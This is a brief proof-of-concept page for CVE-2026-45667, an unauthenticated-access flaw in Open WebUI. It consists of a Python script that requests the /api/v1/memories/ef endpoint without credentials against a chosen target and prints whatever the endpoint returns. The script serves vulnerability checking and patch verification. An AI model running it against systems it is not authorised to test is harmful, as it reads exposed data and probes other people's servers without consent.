Open WebUI 未授权访问漏洞 (CVE-2026-45667)

import requests def check_poc(target_url): """ PoC for CVE-2026-45667 Checks if the embedding function endpoint is accessible without auth. """ endpoint = f"{target_url}/api/v1/memories/ef" try: # Send a GET request without any authentication headers response = requests.get(endpoint, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed: Endpoint accessible without authentication.") print(f"[+] Response: {response.text}") else: print(f"[-] Endpoint returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_poc(target)